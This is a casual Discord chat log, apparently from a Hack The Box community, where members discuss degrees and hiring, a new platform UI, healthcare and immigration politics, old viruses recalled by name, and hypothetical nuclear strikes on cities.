To be fair, @eternal mango is right, if you finish the college degree you won't regret it, but you very well might regret it if you stop doing it

[eternal mango]

..but do finish it if you can

[quasi ridge]

foot in door -> you make a name for yourself by showing capability -> you continue and your resume looks better every month of continuation

[eternal mango]

I regret not following through with all three of those attempts

[mystic harbor]

Tell me this, is certifications enough for job? Cause I don't have a degree either and I am getting older 😭

[eternal mango]

Like, literally still have dreams about it sometimes

[quasi ridge]

older than g0b and I?

[eternal mango]

But I managed somehow

[meager kernel]

In india, its hard
But in other countries, its easier

[ocean marsh]

how's it going?

[meager kernel]

Bad, Im not that good

[eternal mango]

I don't know.. I want to say yes, but the hiring environment is very different from when I had to interview for a job. I will say though, lack of a degree doesn't stop someone from being hired here.

[mystic harbor]

Older than where shouldve been like I would have completed college by now

[lyric trellis]

Tell you what, it sucks in the UK too, all the "good" jobs are in the US

[pseudo crater]

so what make someone stand out from the rest during iv?

[quasi ridge]

my guy there are people who leave the military at 25-30 and get degrees...

it is a thing

US-specific though it is, I'm sure this extends the world over

[fierce vale]

also depends on if you have to pay for your degree or not

[mystic harbor]

I get it that's why I am asking should I apply or not

[eternal mango]

Confidence, curiosity, humility, character and a passion for their field.

[mystic harbor]

If certifications alone do it why waste money

They ain't teaching shit anyways

[eternal mango]

...I've not interviewed anyone for a while though @pseudo crater.. but that always got me by

[quasi ridge]

shrug certs and degrees just state you've put time and money and possibly effort into doing related learning and work.....it's a placeholder for internships and apprenticeships since most businesses are no longer designed around teaching someone ground-up

[pseudo crater]

I see,,

[lyric trellis]

The reality is that careers and jobs often fill a very specific niche anyway, nobody gets a degree and uses the whole of it throughout their professional life
Arguably the entire point of college is to "prove you can persist" rather than actually teaching you

[quasi ridge]

when hiring managers look at you, they look at interest and capability...that's it.

if you can do or reasonably learn what they want, they'll consider your personality fit and go on from there

if you're not a fit, they won't

[eternal mango]

mmhm, someone who can learn and fit with the team is an investment

[lyric trellis]

I'd rather hire someone who has the right attitude to learn and not much knowledge than someone with a lot of knowledge and a bad attitude

[quasi ridge]

Yeah, they evaluate for knowledge and fit in interviews.

Which gets more weight is up to them individually

[lyric trellis]

Every technical interview I've ever had has always been super inaccurate to the actual nature of the job, which I've found really funny

[eternal mango]

I screwed up a question on my laster interview.. the answer to which was cache, my mind went blank

[meager kernel]

@eternal mango in your opinion, is college a scam?

[quasi ridge]

that's designed that way for 2 reasons: 1) it could give away trade secrets and 2) it's to test how you handle unfamiliar environments

[eternal mango]

I wouldn't say it's a scam. For some it's the best way to learn, for others, it's not

[lyric trellis]

The trade secrets thing isn't really a problem, I've had to sign NDAs for all of them anyway – as for the unfamiliar environments thing, I've always known roughly what they are going to ask me, so none of it has been crazy surprising

[quasi ridge]

when it comes to trade secrets, I mean things like certain tools they can't make known or certain scenarios....there are things like that in cybersec in particular that are very much not stated because it leaves an opening for bad faith actors

[meager kernel]

HTB should make a college of their own

[quasi ridge]

the same people applying for the jobs are the same people capable of being the other side of them 😛

[eternal mango]

Some flourish in structured / led education, others go full yolo and learn as the dice land (aka self driven learning)

[quasi ridge]

like.....when you're a soc monkey, they give priority to guys who have done boxes on HTB...because it shows you're familiar with ways to get into systems

[mystic harbor]

I did go to college but only 1 day 😂

[quasi ridge]

lol....open registration day doesn't count

[cerulean bloom]

I plan to go to college/uni

wanna do some stuff there

[fierce vale]

there's too much to all of this to generalize it down to simple answers

[eternal mango]

Definitely.. any answers are a matter of perspective

[mystic harbor]

I was already into cyber that time, like 1 year in and I had coding experience so I didn't focus on college so i just skipped so much that .... Dropped out

[muted olive]

@eternal mango harvard's VDP is open now 👀

[graceful pendant]

ooh

das cool

[meager kernel]

isnt HTB technically like a college?

[graceful pendant]

south harmon instutute of technology

[muted olive]

not an accredited institution so technically no
in terms of knowledge yeah, way better

[fierce vale]

when I went to university I wanted to study mathematics but the courses and lecturers were extremely poor quality, it took me years to realize this and I just blamed myself

[lyric trellis]

Same here, did mathematics at university, dreadful quality of lectures

Didn't complete my degree ultimately

[mystic harbor]

Why do I feel like weird not having a degree 😭

Before I didn't care

[eternal mango]

😄 I tried college 3 years in a row, each year went up to a higher level course, only thing I ever stuck around for was the circuitry and assembly sections, but could never stay for more than a month or two. Lecturers who actually cared were few and far between.. maybe 2 or 3 I met over those three years.. and most others in class just got stoned with the teachers at lunch time, which yeah.. wasn't what I was there for

Fun times, nice to meet people

But wasn't for me

[fierce vale]

I just started reading math books on my own, read them from cover to cover and had full scores on all of those courses from that point on

[lyric trellis]

How does one even broach the subject of getting stoned with one's teacher 😭

[mystic harbor]

I didn't like the environment

[eternal mango]

We didn't, they did.

[mystic harbor]

Also we were working on a game studio

Our own company

[eternal mango]

We used to hang out at a local cemetary, and one day the teacher was there

[mystic harbor]

Which failed too badly

[eternal mango]

g0thlin

[mystic harbor]

And here I am broke ass

[eternal mango]

No, I was never a goth

It was just a nice place to hang out with a good view 🤣 🤣

[lyric trellis]

"Because tonight will be the night that I will fall for you" being the song you were listening to at the cemetery

[quasi ridge]

O.o how does one define poor quality in math?

[quasi ridge]

same question to you

[eternal mango]

Haaahahah nooooo no no

[mystic harbor]

Anything paranormal anytime

[lyric trellis]

For me it was just the lecturers explained things in overly verbose ways, and often made mistakes while trying to demonstrate how the thing worked

Threw me off big time

[mystic harbor]

[fierce vale]

lecturers didn't give a shit and didn't want to be there, course material was extremely poor

[scenic maple]

@cerulean bloom is this us bro

[supple plume]

"I need more code advents"

[mystic harbor]

The job part is so real 😂

[muted olive]

yes

[lyric trellis]

This is unironically me

[scenic maple]

😔

[quasi ridge]

imagine you did a phd in math...and you were making sub-100k and teaching...would you be thrilled or questioning your life choices?

thats how I figure that to be

[lyric trellis]

Yeah I mean the UK is worse, the lecturers probably make the equivalent of $50K

[fierce vale]

when you get tenure as a professor in an university I guess some just want to focus on research instead of teaching

[rustic carbon]

why do people still care about these things, I thought people worked for passion

[eternal mango]

Yyyyyup.. teachers, nurses.. so important, and treated so badly

[quasi ridge]

yea, most people who do those things want to work on their passion projects not teach

but they're forced by contract to divide time equally

[rustic carbon]

there are better jobs to earn money than working in fang isnt it

[quasi ridge]

at least, that's how I've been told about it

[lyric trellis]

Doctors too, my wife is a doctor and she really does not make as much money as she ought to

[quasi ridge]

and then because US system is the way it is, you have a lot of people marked PT employee as associate profs

so they have to spread across multiple schools to make a living

[spark mulch]

life in the UK is x3 as expensive as everywhere else and you earn 1/2 as much money

[meager kernel]

i wish for the day when HTB is officially a university, i will send my kids to HTB

[lyric trellis]

Damn straight

[quasi ridge]

enter the socialized medicine fight lol

[scenic maple]

reality is most people work for money and thats fine
if you tell passionate people they wont be paid passion will fade away but passion is a + yes but money is first
even to this date the interview process is fked they ask u stupid ass questions that dont relate to ur job in anyway
they dont do leetcode because they like it they do it because they have to

[robust walrus]

bruh is it only me that don't like the new UI..

[rustic carbon]

I thought medical was the go to for job aspect

[eternal mango]

We'll get ch4p to be Dr Xavier

[meager kernel]

and you can be wolverine

[spark mulch]

idk did you try using the discord search feature to look for "new UI" to see what other people say

[scenic maple]

he actually does look like xavier tho

[lyric trellis]

You would think so, but the UK also prioritises foreign workers for doctor roles over our own citizens and residents, it's bizarre

Plus our country is run by a wet noodle so that figures

[spark mulch]

it doesn't prioritize them. They're the only ones willing to work in the NHS while all the british ones fuck off to private practices for much more money

[quasi ridge]

US also does this....

[fierce vale]

who's going to be magneto

[robust walrus]

seems like quite a lot of negatives on it

[quasi ridge]

magneto?

[spark mulch]

then your question has been answered!

[lyric trellis]

That isn't entirely true, unfortunately – it would make sense if it were true, but the reality is that virtually no doctors in the UK practise solely privately

[rustic carbon]

look it like I can give you the money and keep you sustained for the rest of your life, but still is it that you feel inclined enough towards the company or towards the moto they strive for, thats the thing, if not then go somewhere else, if you want money finance is the way, look there are lots of cheap ways to make you a living like posting ai slop, and many more but the thing is are you inclined enough to that idea, otherwise its mule work.

[muted olive]

idk about UK, but this happens in US and the problem is that they want americans to get the jobs over the foreign workers, while the problem is that its hard to find americans who can actually do those jobs lol

[robust walrus]

there should be a way to revert back or smth...

[muted olive]

or any american workers who are competent enough to get that job but are already employed at a higher rate

[scenic maple]

i want to make money in a away that benefits people and in a way that i like

[rustic carbon]

it maybe that they have doctor shortages, UK is pretty down bad as per the finance today

[eternal mango]

ch4p will possibly kill me.. but.. LOOOOL

[meager kernel]

HAHAHAHHAHAHA

PLEASE SHOW IT TO HIM

PLEASEEEE

[eternal mango]

I will 😄

[scenic maple]

@topaz fossil

[meager kernel]

AND ASK FOR HIS REACTION

[eternal mango]

NARC

[meager kernel]

why doesnt he ever come online

[eternal mango]

He's a busy man

[muted olive]

[lyric trellis]

I know many doctors personally who have missed opportunities year after year, and the jobs are usually taken by Indian workers in particular, since we have a recent agreement with India for them to send us doctors in exchange for us sending them their criminals (bizarre trade deal, but I swear it's true)

[scenic maple]

he is prolly on slack

[meager kernel]

@eternal mango can you please request him to come on discord once

pls

[rustic carbon]

exactly! So its not about going out and grinding in a chopper waiting in line like a mule, its about doing what you are most satisfied in, and making a living as a side effect, otherwise its just Labour no transformation will occur in you.

[spark mulch]

for a couple of decades since new labour started the NHS privitisation train rolling (amplified 10fold by the tories aftward), the NHS has been totally dependent on foreign workers. Then the UK did brexit and made it much harder to get foreign workers, so they had to amend the working visa rules to make exceptions for medical practicioners (but it's still much harder than when there was EU free movement)

[scenic maple]

this theory only works when you have options

[quasi ridge]

this for IL too.....healthcare folks are either western migrants from 1st world healthcare systems and research, Soviets from the 90s migration wave, or the Christian Arabs who grew up on the parochial education system and have a high formal education...regular folks just can't be bothered to dedicate that sort of time and effort for poor returns of socialized med

[eternal mango]

Oh man can we not get back in to politics or policies again

[muted olive]

indian criminals back to india?

[eternal mango]

I thought we were done with that 😅

[muted olive]

wasnt aware

[lyric trellis]

There are plenty of doctors in the UK, but the government is intentionally trying to ruin the public perception of the NHS so that they can aim to dismantle it without much revolt

[spark mulch]

yes

[eternal mango]

jk I'm gonna get a fryup have fun

[rustic carbon]

true, but today I think we have more options than there were a few years back, I am saying do your thing what you like dont sit and grind for FANG interviews, if you are inclined towards their company and are fit they will select you np.

[robust walrus]

is the new UI something permemant ... or could the developers potentially revert it back to how it was

[harsh plume]

I have an issue with the new UI @eternal mango ... The code block doesn't seem to work well when you copy and paste. Unlike the old UI which works fine, Other than that, I love the new UI.

[lyric trellis]

It's gonna be permanent

[scenic maple]

do /feeddback

[meager kernel]

my company's laptop has a locked BIOS, I cannot install linux on it 😭

sad

[scenic maple]

is*

[lyric trellis]

Oh I thought it hadn't happened yet

Alright, it IS permanent

[robust walrus]

^^^^

[sturdy thistle]

use /feedback

or open a support ticket

[meager kernel]

😂

[lyric trellis]

You can try typing in your DevTools console new_ui.reverse() but I cannot guarantee it will work

[meager kernel]

@muted olive how can one bypass a locked BIOS hypothetically

[muted olive]

The ones who study in ivy leagues or the top colleges, or any colleges at all really, will be the ones getting those jobs. Because there may be debates on how useful a degree is etc but it gives you validation which self learning cant. Besides most people who dont go to college dont go because they're not interested so its like... okay, then you dont get the job. Easy. This isnt for people who want to achieve something in life without a degree, but for those who are like "okay, I'll just go play video games in my basement or something after high school" which unfortunately there are a lot of

[muted olive]

uhhh

if its a technical bios problem, try removing the battery and re-inserting

[scenic maple]

DO NOT TRY THAT ON UR COMPANY LAPTOP

[muted olive]

if its been intentionally locked, idk

[meager kernel]

ofc i wont

im not a criminal

[lyric trellis]

https://giphy.com/gifs/dexter-suspicious-aniflicks-21VTFJTEr1x9ortvO3

[scenic maple]

https://tenor.com/view/doakes-bar-gif-4298875606784040546

[quasi ridge]

The thing is...the US system is still largely profitable despite insurance clampdowns and what not forcing people to go to Mexico and other places for travel medical tourism practices...... but Israel, like the UK and much of the EU, has socialized medicine...so doctors are paid a set amount based on patients per month. My kid's doc complained that he could see us 30x in a month and it still counts as 1 visit as far as the system is concerned...

[eternal mango]

No way that still works.. last time I was doing that was to clear friends and family computers of the CIH virus 🤣

[lyric trellis]

We had the same idea there 😭

[tame viper]

can anyone help with the first flag for synacktiv

[scenic maple]

#fortresses

[meager kernel]

excuse me

[mystic harbor]

If you don't try, you don't learn

[meager kernel]

bro takes me for a criminal hacker

[spark mulch]

haven't heard that name in a looong time

[eternal mango]

Michelangelo?

[scenic maple]

unsolicited freelance pentester

[eternal mango]

Melissa

😄

[muted olive]

yeah idk about israel but that sounds bad, or unprofitable at the least for a medical career there

[quasi ridge]

@muted olive when your income is set by new patients in a month rather than success rate or time spent on patients, you get demotivated fast...especially for things that take repeat visits... Specific to what I mentioned, kid had several viruses going around...and nothing could be done but school required the paperwork proof to return to school...

[meager kernel]

yes

[spark mulch]

CIH!

[eternal mango]

Ahhh.. I do love the old names

Yeah I was just saying some others

[spark mulch]

methusela

homer

euclid

[quasi ridge]

100%...which is why it's immigrants that fill much of the ranks here of medical staff...and the local folks that are the majority of medical staffers are usually Christian Arabs (and a handful of Muslim ones) who intend to use the time to build a career and then go abroad and go private for big bux

[muted olive]

yeah, that sucks :(
opposite problem in some other countries, where you're charged absurd amounts for a single visit or even a call

[muted olive]

that rule only applies to residents?

[eternal mango]

Jerus.. nevermind

[quasi ridge]

most people don't want to go to medical school for 10y to make the same amount per month that they could hawking phones in a cellphone store

[muted olive]

Whenever my 30 year old laptop doesnt switch on, this works 🤣

[eternal mango]

Still got a printout of ILOVEYOU from college somewhere lol

THE Sub7

jfc

[scenic maple]

https://tenor.com/view/jurassic-world-rebirth-jurassic-world-dinosaur-jurassic-park-t-rex-gif-3228290000372524547

[muted olive]

they can go to america and build a career there.. they may not like other immigrants, but they sure like israeli immigrants ;)

[quasi ridge]

@muted olive usually the people willing to do medical school here for that amount of time are the people who are comfortably situated and positioned to be able to leave abroad and get better pay elsewhere.... even the EU jobs are a step up for them.... Like....I've met Christian Arabs that learned French in school because they were in French-run Catholic schools....so..that's money right there

[eternal mango]

That, but with longer arms

chomp chomp

[quasi ridge]

so they pick up skills, knowledge, rep, and language....and then they go to France and make big money

[muted olive]

yup

although

[spark mulch]

i guess wannacry is basically old now too. nearly a decade

[muted olive]

if they are in a position to move abroad, they could get their degree from abroad as well

[muted olive]

disadvantages of being a t rex

[quasi ridge]

generally with Israeli expats it's the most motivated people in whatever field who are willing to eat shit for a bit if it pays off....so they do so... it's like 30% tech bros you're prolly thinking of to 70% electrician/plumber/blue collar types that are willing to be poor and build a business independently

[eternal mango]

That's why they hunted in packs

[spark mulch]

a fun thing about wannacry was how it would fail to actually do its intended disk encryption on some devices but would still pop up its ransom note window, so sometime syou could just be like "lol ok" and close it and remove it from the machine with no harm

[quasi ridge]

@muted olive having lived both here and US, the reason why it works for most of what we call "Yordim" is they have higher motivation levels than your average American. Most Americans have low motivation and direction in life......

[lyric trellis]

You can thank EdgeArchitect for writing that on the 9th May 2024

[muted olive]

would make terrible basketball players for sure 🤣

[quasi ridge]

I think it's just a universal immigrant thing though..same story for Chinese, Indian, and other types that migrate and make a killing there

[eternal mango]

I remember as a kid, a stupid kid.. as kids are.. I took a floppy in to secondary school to the IT lab. It had a whole selection of viruses from the 90s/80s

Never saw the admin move so quickly

[muted olive]

low motivation and direction in life......
yes, and they still want to get a job over immigrants lmao

[quasi ridge]

they all come poor and hungry...willing to eat shit for a few years to buy ownership stakes.... whereas my peers who are still US-side...well..none are doing anything all that wow

[eternal mango]

....wut?

[muted olive]

like if you want a job, work for it and youll get it

instead of complaining

lol

[lyric trellis]

It's true, Wikipedia history reveals who wrote "The Sub7"

[quasi ridge]

if I went back I'd probably do OK just because I've spent over a decade here living a rougher life than I ever did growing up.....I've broken the mental wall about walking on foot, taking public transportation, carrying my own groceries instead of having a car to haul them,etc.

The meme about hard times -> strong men -> good times -> weak men is pretty true

[eternal mango]

I think you have a different Sub7?

[quasi ridge]

when you eat enough shit you start to realize that you need to fix something...and when you get too comfortable, it's really hard to get motivated

[muted olive]

everyones in the second phase

[quasi ridge]

I think so too

[lyric trellis]

Nah, I mean I looked through the same Wikipedia article you're looking at

[muted olive]

for the first phase to start, it needs to start from way below

like, from education

etc

hard times

[quasi ridge]

I think it's by design though...I think we wouldn't have this outlook on life if school and media didn't promise promises that weren't theirs to make

if there was no "get a degree and it'll be okay", there'd be no empty feeling after...

[muted olive]

maybe its just time to level up in general

[eternal mango]

Link? I still don't get it

Is this a joke that's like one of my jokes?

Because, I don't get it

[muted olive]

you need to have drive and passion even with a degree

otherwise the degree means nothing

[quasi ridge]

all my generation (1982 - 2000) were promised good things if we just listened and did what we needed....

[lyric trellis]

I'm scared to post a link because I got muted for like an hour for doing that innocuously 😭 it's the Wiki article for "Timeline of computer viruses and worms"

[muted olive]

Lol we're also promised the same

[quasi ridge]

and then we finished, nothing was there, and it was like those trust exercises where you fall into someone's arms...except the arms aren't there

[muted olive]

But we follow our own path

and stonks

when I say "we" I speak for me

not everyone else

[quasi ridge]

it's an international phenomena

[eternal mango]

There's no mention of "EdgeArchitect". The article for Sub7 shows the correct information, again no mention. Released 1999

Thought you were like talking about a song or something someone released in 2024 lol

[lyric trellis]

Yes, but the History section of that "Timeline of computer viruses and worms" article shows that EdgeArchitect wrote the words "The Sub7" which is what you complained about

[muted olive]

Ironically the number of students who come to countries like india and china to study is a lot lower compared to the opposite

[eternal mango]

Oh FML

Touche

[quasi ridge]

those 2 countries are highly saturated...why would it make sense to go there and compete in a market people leave to reduce competition of?

[fierce vale]

that can change, asia is growing like crazy

[lyric trellis]

Yeah sorry it wasn't really worth pointing out 😭

[muted olive]

the competition is the point. it makes you stronger

[eternal mango]

No, it was funny

[quasi ridge]

High saturation means your grade is eroded by the fact that 10M others have it...while your home country might have 10% of that number in jobs ever

the US has ~300-350M people..... 10M is nothing in India, but that's a huge percentage in the US total population...

[muted olive]

lol, that is true as well. its a risky gamble

[lyric trellis]

It's not really a question of competition, it's more like internationalism/status, because if you are Chinese or Indian and you have the means, you are going to send your child to be educated in a Western nation for the sake of opportunities

[quasi ridge]

if a nuke fell in Mumbai today, life would largely still go on for India..........if that scale of catastrophe happened in most countries on the planet, it's over forever

[muted olive]

I see it like this - our exams for undergrad degrees are hard as fuck, china's likewise, and if someone comes here, actually commits to doing well in the exam, and does it - even if they dont take the degree here, they would definitely get into an ivy league back in america or wherever they are from

they dont even need to come here, just borrow the material and grind

[quasi ridge]

yesterday I saw a video that predicts by 2100, South Korea will be empty based on current birthrates....

imagine a nuke in Seoul...

[radiant sinew]

crazy

[fierce vale]

same for japan

[quasi ridge]

meanwhile if Beijing or Mumbai were hit, life's going on

[radiant sinew]

europe has birth rates going down too

[lyric trellis]

What exactly do you mean by this, those would each be devastating attacks

[muted olive]

that would still be catastrophic.. mumbai's heart is the stock market

if a nuke hits, they'll go into negative numbers

everyone would be ruined

[quasi ridge]

they would still have enough people to ensure life goes on for the majority of citizens

if Seoul got hit, the peripheries wouldn't be self-sustaining enough to survive independently

[muted olive]

I mean then maybe

[quasi ridge]

if Tokyo got hit, I'm doubtful the other major cities could pull the economic weight

[muted olive]

a third of japan still survived in 1945

[lyric trellis]

I think you're forgetting that those cities are big for a reason, which is that they are major business and financial centers

[muted olive]

but survival != living

[quasi ridge]

there'd still be millions of farmers grinding out rice and bananas and other things

people would still have what to eat, even if transportation might take a bit of time to figure out how to get it out

[lyric trellis]

Yes, but it isn't all about food, city-living is important for modern society

[quasi ridge]

in Seoul, that's it...life's over

[muted olive]

farmers are scarce in mumbai

they're mostly from other places

[quasi ridge]

that's kinda proving the point...Mumbai houses other businesses

[muted olive]

mumbai is india's equivalent of NYC so.. busy stuff. everyone's there for one reason, which is 💵

[quasi ridge]

currency based ones that prop up some structures but don't necessarily keep people alive

[muted olive]

if businesses go down, livelihood is ruined

rent skyrockets

living becomes infeasible

[quasi ridge]

if Mumbai became an empty hole, most people would go back to the countryside where farms await...

[meager kernel]

i wanna go outside india

and settle in some good european country

[quasi ridge]

and it's not going to be peachy..but it'd certainly be a better existence than post-nukage NYC or Seoul

[eternal mango]

@lyric trellis that's when Sub7 was added as its separate entry 🤣

[muted olive]

probably

[quasi ridge]

or most western capitals

[muted olive]

well this is true enough

[eternal mango]

Nice one Ched.

[lyric trellis]

I think your point is that a major city in India or China makes up a relatively small proportion of the nation's total population, whereas South Korea's major city houses a very large proportion

[muted olive]

go to germany

[meager kernel]

i just opened academy for the first time in many days

the new UI is good

i like it

[quasi ridge]

yes, and population is the vehicle by which things get done

people make businesses

people work on farms

[eternal mango]

Screenshotted, sharing with the team

[quasi ridge]

people drive trucks

[eternal mango]

😄 ❤️

(feedback is still a gift)

[muted olive]

I havent seen academy's new UI tbh

[quasi ridge]

if London got nuked today....are all those inexperienced folks in Leeds and elsewhere going to make up for the production loss? Birmingham? Glasgow?

[meager kernel]

its cleaner IMO

[quasi ridge]

The UK's been in nose-dive for 60+ years...where all it's major productive centers have become slums

[lyric trellis]

Yeah, I suppose in theory if an entire population were not nuked, and were instead deprived of clean water and basic medicine, that would also be pretty devastating

[quasi ridge]

countryside UK is all old folks

they die in 20y,then what? empty space everywhere

[eternal mango]

OI

[lyric trellis]

Have you ever been to the UK?

[terse dirge]

I'm kuberneting it we need to move 2 cluster nodes because we've already hit the limit for storage on one because we only gave the host partition 100GB and the other one is set up the same way

[quasi ridge]

in the cities? no production bc no more industry

whereas in India...if people go back to the countryside and just tough it out on farms, they won't be visiting anywhere or doing anything high level anymore but there will be an Indian civilization at the end of the day

that's the point I'm trying to make 😉

[quasi ridge]

https://tenor.com/view/british-hi-benjammins-british-hello-hi-mate-englishman-gif-4971693592937109313

[eternal mango]

https://giphy.com/gifs/o9u73NCS579iE

[muted olive]

I mean, if mumbai got nuked, india's gdp as a whole would definitely reduce the GDP by 40% or a lot more every year. It would effectively kill the economy, and the economy is india's core of living so.. its effectively the same

people would survive as you said

but thats not the same

[quasi ridge]

yea but Western societies are way more centralized, as are certain Asian ones like Korea and Japan

[eternal mango]

Is mostly true mind.. countryside is very much older people, but behind them is a population of younger people waiting to inherit the bungalows..

[quasi ridge]

in more decentralized areas where people still live the way they have for thousands of years, it'll be tough but not the end

[eternal mango]

Sussex, Kent Coast, same same unless you head up towards Medway area

Then it just gets dangerous

[muted olive]

I'm saying it might as well be the end

but thats a matter of perspective

[quasi ridge]

I've never been to the UK, but, I've seen enough about it to know it's not exactly where it was in Victoria's era...

and that even then, huge changes came from small things

[eternal mango]

huh

[muted olive]

its that hard times -> strong men thing you mentioned except we'll never reach the good times phase

lol

[eternal mango]

Yet you're saying so much with such confidence?

[lyric trellis]

Queen Victoria's era was an era marked with heavy pollution, a lot of infant deaths, and a lot of disease 😭

What are you even talking about

[quasi ridge]

yea but the economy was more centralized and had more influx of good

[eternal mango]

Time to spin the wheel of countries that I will become an expert on.

[lyric trellis]

We had an influx of "good" because it was stolen from foreign nations

[quasi ridge]

*goods

[quasi ridge]

lol we're not touching on the morality side of it, bruv

we're talking simple numbers and QOL

[lyric trellis]

QOL was abysmal, that's what I'm saying

[quasi ridge]

but relative to it's time?

[lyric trellis]

I've lived in the UK my entire life and know the history of my own country quite thoroughly

[quasi ridge]

Relative to neighboring places in it's time, it was "ahead"

[lyric trellis]

So this is quite the challenge

[muted olive]

UK's economy started going down ever since WW2 imo

[quasi ridge]

imagine how much worse other places were if the UK was so bad and it was "ahead"

India for one

[muted olive]

in what year?

[lyric trellis]

India was colonized by the UK at that time man

[quasi ridge]

and yet...Indians are used to it, while Brits aren't....

[eternal mango]

Back to back..

[muted olive]

oh victorian?

yes india was colonized at that time

[quasi ridge]

so if a nuke fell, one would go reeling harder than the other

[eternal mango]

..but I'm not getting involved in another one of these 🤣

(yet he keeps.. on.. speaking..)

[quasi ridge]

lol..it's the beer

[eternal mango]

I've not had anything to drink actually

[quasi ridge]

I'm not saying it's all fluffy bunnies and lovies and shit though...just that relative scale...some countries really suffer worse than others...out of preparation, numbers, age, resources,etc.

[quasi ridge]

I have 😉

like....Mad Max...

[lyric trellis]

Relative to today's era, I am telling you the UK was a harsh environment to live in in the 1800s

[eternal mango]

You drank Mad Max? 0_0

[quasi ridge]

Mad Max is about how Australia handles nuclear war

isolated country, mostly desertified...reliant on import/export...urban population centers less prepared than rural

[muted olive]

mostly desertified is accurate even now lol

[quasi ridge]

nah, the movie... As a fiction, it still does justice..Australia would handle some rigors of nuclear war better...

[muted olive]

isnt like 90% of australia a desert

[quasi ridge]

true

yes

[eternal mango]

Yeah, sorry, I was being funny

[muted olive]

I do not like movies about nuclear war in general

[quasi ridge]

still...the higher a society climbs (by majority), the harder it is to recover

[muted olive]

like oppenheimer

or house of dynamite

or whatever

[quasi ridge]

you didn't like Oppenheimer?

[muted olive]

nah

I mean it was good in terms of acting, execution etc

I just dont like doomsday stuff

[quasi ridge]

I found it to be OK...wasn't as impressive as the reviews made it though

[muted olive]

which is especially accurate

[quasi ridge]

it was also hard not to see him as Thomas Shelby

lol

[muted olive]

lol

[quasi ridge]

https://tenor.com/view/thomas-shelby-smoke-akcme2-gif-2737902559206986994